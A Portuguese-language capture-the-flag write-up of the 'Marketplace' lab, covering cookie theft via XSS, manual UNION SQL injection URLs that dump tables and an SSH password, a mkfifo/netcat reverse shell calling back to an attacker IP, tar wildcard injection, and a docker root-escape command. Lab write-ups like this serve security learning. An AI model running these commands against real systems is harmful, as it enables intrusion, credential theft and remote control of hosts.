The Marketplace — Writeup(pt-br)

Dr. Frost
4 min readJun 30, 2021

--

Olá, hoje eu irei fazer um writeup de um CTF médio. Pela descrição do CTF podemos esperar vulnerabilidades como XSS(Cross Site Scripting), SQLinjection e algo relacionado ao Docker.

Primeiramente usei o nmap e o gobuster para o reconhecimento, contanto parece que não tem nada muito importante.

Ao chegar no site conseguimos nos cadastrar e logar, com isso temos a opção de escrever uma listing. Como foi dito antes, poderá ter uma vulnerabiliade relacionada ao XSS.

Antes de enviar a listing eu abri um servidor em python no terminal, assim possibilitando o roubo do cookie. O segundo IP é o do nosso alvo, logo na sua direita está o cookie que precisamos escalar nos privilégios.

Ao substituir o cookie liberamos o "Administration panel", ao clicar nele podemos achar nossa primeira flag.

Cliquei em um usuário e testei se era vulnerável à SQLinjection usando uma aspas simples, assim provando que é vulnerável.

Aqui podemos avançar de duas formas: usar a ferramenta sqlmap ou tentar fazer de forma manual. Eu irei fazer de forma manual para fins didáticos.

Fiz alguns testes com o UNION até que achei a quantidade de colunas certas, com isso consegui pegar o nome do banco de dados.

http://IP/admin?user=0 UNION ALL SELECT 1,database(),3,4

Conseguimos o nome do banco de dados, agora o próximo passo são as tabelas.

http://IP/admin?user=0 UNION ALL SELECT 1,group_concat(table_name),3,4 from information.schema.tables where table_schema=”marketplace”

Ao verificar na tabela "items" achei várias colunas, verifiquei cada uma delas e teve uma que achei uma informação relevante(Senha do SSH).

http://IP/admin?user=0 UNION ALL SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=”marketplace” and table_name=”messages”

http://IP/admin?user=0 UNION ALL SELECT 1,concat(message_content),3,4 from marketplace.messages

Ao fazer o login no SSH achei a flag "user.txt". Usei um "sudo -l" para ver as permissões e vi que o michael tem permissão no backup.sh.

Fiz umas pesquisas e achei a vulnerabilidade wildcard injection

Para escalar os privilégios será necessário abrir um netcat.

nc -nlvp 1234

echo “mkfifo /tmp/lhennp; nc IP 1234 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp” > shell.sh
echo “” > “ — checkpoint-action=exec=sh shell.sh”
echo “” > — checkpoint=1
chmod 777 shell.sh backup.tar
sudo -u michael /opt/backups/backup.sh

Assim consegui chegar no Michael, e pude ver que está usando o docker. Ao pesquisar no GTFOBins(https://gtfobins.github.io/) achei um comando do docker para dar acesso ao root.

docker run -v /:/mnt — rm -it alpine chroot /mnt sh

--

--